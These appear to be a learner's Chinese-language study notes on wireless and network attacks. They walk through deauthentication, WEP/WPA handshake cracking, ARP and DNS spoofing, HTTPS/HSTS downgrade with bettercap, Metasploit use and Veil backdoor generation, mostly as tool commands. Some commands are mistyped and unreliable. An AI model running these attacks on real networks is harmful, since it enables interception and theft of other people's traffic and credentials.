---
# System prepended metadata

title: Linux加資安學習筆記
tags: [Hack]

---

# Linux加資安學習筆記

## 第一部份：(Network hacking)
### 1.訪問過程：
>所有網路都是為了訪問互聯網，而不論WIFI還是有線網路，所有裝置都要透過一個接入點進入，稱為路由器，即使連上網路，沒有透過路由器仍不能取得資源。
>
>![](https://i.imgur.com/f5QIyL7.png)
>(意象圖)

### 2.無線路由器
>路由器：其主要功能是連接網路

### 3.網路指令
```
$ ifconfig : 顯示所有網路接口
```
>執行後可以看到eth0,lo，eth0是虛擬機建立的乙太網路接口，lo則是linux使用的虛擬網路接口，觀察有沒有IP位址來判斷有沒有連上網路。
額外：wlan0是外接無線路由器的網路接口

### 4.Mac Address
概念：類似身分證，辨別裝置，確保訊息傳遞的位址正確，每個裝置都只有一個Mac Address
使用時機：為了在網路上匿名，或者模擬其他設備以獲得訪問權，
* （更改Mac Address步驟）
```
$ ifconfig wlan0 down
$ ifcongig wlan0 hw ether 00:11:22:33:44:55
$ ifconfig up
```
### 5.監控模式
>因為一個裝置只有一個Mac Address，所以也只能一個個請求資源，但切換到監控模式下可以觀測連接到路由器的所有數據（WIFI封包）。
（切換方式）
```
$ ifconfig wlan0 down
$ airmon-ng check kill #斷網
$ iwconfig wlan0 mode monitor
$ ifconfig wlan0 up
$ iwconfig #顯示所有無線設備
```
### 6.觀察網路資訊
```
$ airodump-ng mon0
```
### 7.觀察某一指定網路
```
$ airodump-ng --bssid (目標網路bssid) --channe (目標網路channel) (--write text) mon0
```
### 8.wireshark
>開啟可以觀察上一步儲存的文件資訊，打開.cap，其中bssid是網路mac address，station則是裝置mac address
```
$ wireshark
```
### 9.預連接攻擊
>透過更改mac address假裝是某個客戶端，向路由器請求斷開連接，之後再更改mac address假裝路由器，並向客戶端請求中斷。
```
$ aireplay--deauth (時間) -a (bssid) -c (station) mon0
```
>接著split另一個終端同時執行觀測某一網路(極少數情況需要同時執行)
```
$ airodump-ng --bssid (目標網路bssid) --channe (目標網路channel) mon0
```
>這次不write文件
### 10.WEP
>WEP是使用RCS算法加密，加密比較簡單也比較好破解
>![](https://i.imgur.com/acb1sKC.png)
>先執行第七步驟
```
$ airodump-ng --bssid (目標網路bssid) --channe (目標網路channel) --write basic mon0
```
>(接下來分成兩種狀況)
>一種是網路未閒置，執行以下分析網路程式
```
$ aircrack-ng basic-01.cap mon0
```
>basic-01這部份，write檔名可以任意，預設會給01，解析cap檔，得到的結果會是00:11:22:33:44:55格式，去掉冒號後就是密碼。
>
>第二種是，網路閒置，需要先與網路建立關聯，一般狀況，網路會自動屏蔽未連接而沒提供密碼的詢問，執行以下程式，其中mac address是bssid，此種叫做ARP攻擊
```
$ aireplay-ng --fakeauth 0 -a (目標網路mac address) -h (unspec) mon0 #unspec的-要改:
```
>同時執行，ifconfig得到的unspec前12位數字放入上面，要把-改成 :，其中unspec是ether，只是在monitor模式下是unspec，這樣就成功建立了關聯。
```
$ aireply-ng --arpreply -b (目標網路mac) -h (unspec) mon0
```
>ARP攻擊：因為不夠數據，所以要不斷的向伺服器發送請求讓網路產生新的IV
### 11. WPA/WPA2
>也是一種網路加密，比WEP更難破解，有兩種攻擊方式
```
$ aireplay-ng --fakeauth 30 -a (目標網路mac address) -h (uspec前12碼) wlan0
```
上述指令是製造關聯
```
$ wash --interface wlan0
```
這個指令可以快速看到接口連接的網路
```
$ reaver --bssid (目標網路mac address) --channel (ch) -interface wlan0 -vvv -no-associate
```
上述為暴力破解指令
>通常情況下，商數方式並沒有辦法真的破解network passwd，我們需要使用以下方法
```
$ airodump-ng wlan0
```
執行後可以看到查看router觀測的網路資訊
```
$ airodump-ng --bssid (bssid) --ch (ch) (--write text) wlan0
```
上面這段指令是用來捕捉handshake
### 進階WPA2
```
$ crunch (number) (number) | aircrack-ng -b (bssid) -w - (handshake)
```
執行上述可以在不佔用儲存的情況下建立wordlist並破解handshake
```
$ crunch (number) (number) | john --stdin --session=session1 --stdout | aircrack-ng -b (bssid) -w - (handshake)
```
與上述指令一樣，只是多了儲存進度
```
$ crunch (number) (number) | john --stdin --restore=session1 --stdout | aircrack-ng -b (bssid) -w - (handshake)
```
在剛剛儲存的進度下繼續執行
### 12. 連接後攻擊-資訊收集
```
$ ifconfig
```
執行後可以看到inet，是ip位址，得到ip位址後執行以下
```
$ netdiscover -r (router ip 位址)/24 
```
執行後可以看到ip位址連接到的網路的同個裝置，結尾要加上/24，原因是因為子網路遮罩為255.255.255.0，路由器分配的只有最後一個ip數有變動，範圍都是1~255
```
$ zenmap
```
>在target可以搜尋目標網路的資訊(可以連接上的)，就等於是有GUI的namp，各個功能可以實際去嘗試加上體驗，這邊介紹一些普通的。
>ping scan : 可以ping各個連接到同個網路的裝置資訊，這邊要注意，不是所有裝置都會回應ping
>Quick scan : 跟上面的方式很像，這次會顯示更多資訊，而且它會顯示裝置開放的端口，執行也比較慢
>Quick scan plus : quick scan的進階，顯示更多資訊，可以看到裝置的type, os, 以及在端口運行的程式版本，如果有一部ios手機越獄，他會自動安裝ssh服務，並且他的密碼會是alpine
### 13.連接後攻擊-MITM攻擊
![](https://i.imgur.com/pJXDIT8.jpg)
>ARP中毒，駭客可以當中間人，監聽裝置給router的訊息，這邊還有注意事項，同個網路下溝通是透過mac address而不是ip
>
ARP溝通
>某個裝置像其他所有裝置詢問ip，正確的裝置會回傳ip與mac address，整體運作圖如下
![](https://i.imgur.com/fhwuAtj.jpg)
![](https://i.imgur.com/DMVUute.jpg)

ARP欺騙
![](https://i.imgur.com/jJEXHch.jpg)

ARP欺騙指令(此噌可以在mac or windows執行)
```
arp -a
```
>可以查看router ip
實作指令欺騙裝置讓他以為我是router

實作指令欺騙裝置
```
$ arpspoof -i eht0 -t (spoofing device ip) (router ip)
```
實作指令欺騙路由器
```
$ arpspoof -i eth0 -t (router ip) (spoofing device ip)
```
>注意以上指令需要同時執行

指令讓被欺騙的裝置可以透過我的kali將被spoofing device的data傳到router，預設會擋下
```
$ echo 1 >proc/sys/net/ipv4/ip_forward
```
ARP欺騙吧第二種指令
```
$ bettercap -iface eth0 
```
>開啟該工具
```
$ net.probe on
```
>會搜索同個網路下的客戶端
```
$ net.show
```
>觀看上面指令執行後找到的客戶端

修改選項
```
set (options) true
```
找尋使用模塊的指令
```
help (model)
```
>如果只用help可以顯示出已啟用model及可用model

實例(arp spoofing)
```
set arp.spoof.duplex true
```
>同時多工
```
set arp.spoof.target (be spoofed device mac address)
```
```
arp.spoof on
```
>以上是ARP spoofing
```
net.sinff on
```
>所有經過電腦的資訊會被捕捉與分析，但是無法繞過https
關於http與https部分可以去參考我的basic networ的meida

繞過https
```
set net.sniff local true
```
>因為bettercap會認為我是linux主機給的密碼，所以不會顯示在螢幕上

caplets tools
```
caplets.show
```
>列出可以執行的caplet
```
hstshijack/hstshijack
```
>可以把它從https降級成http

繞過hsts，由facebook, twitter等使用
>因為hsts會從頭到尾執行https，並無法降級，所以只能變更域名，讓他變成http的網站
```
要安裝文件hstshijack
```

DNS spoofing (hsts不適用)
>DNS : 將域名轉成ip
```
service apache2 start
```
>開啟網頁sever，網頁會在/var/www/html
```
set dns.spoof.all true
```
>開啟所有dns嗅探
```
set dns.spoof.domain (要被導向的網站ip或域名)*(前面的子網域或其他網域)
```
>這邊可將網站導成我們的ip address上的apache2建立的website sever
```
dns.spoof on
```

JS 注入
>建立一個js檔，打開hstshijack.cap，在payload最後加上,*:(js檔)

bettercap interface
```
bettercap -iface eth0
```
>開啟bettercap
```
httpd-ui
```
>開啟interface
```
ui.update
```
>如果不能執行可以先安裝，開啟後，默認帳號名是user，默認密碼是pass

wireshark
>只能用於監聽與分析自己裝置接口的數據，一般來說並不能用於hack attack但是我們使用arp spoofing，因此可以監聽其他裝置的資訊

### Sever side attack
>使用zenmap觀看開放端口，可以看到21(FTP), 512(RSH)等
```
apt-get install rsh-client
```
rsh連線
```
rlogin -l (user) (target ip)
```
漏洞查找過後再google上搜，範例找到此漏洞
```
msfconsole
```
查看服務
```
show options
```
設定
```
set RHOST (ip)
```
執行
```
exploit
```
備注：sever attrack未完，重看

### client side attack
補：更改文件權限
```
chmod +x (filename)
```
veil github : https://github.com/Veil-Framework/Veil
veil工具，下載後
```
veil
```
執行後可以查看功能
```
list
```
產生不可檢測的後門
```
use 1
```
>1 Evasion : 產生payload
>2 Ordnace : 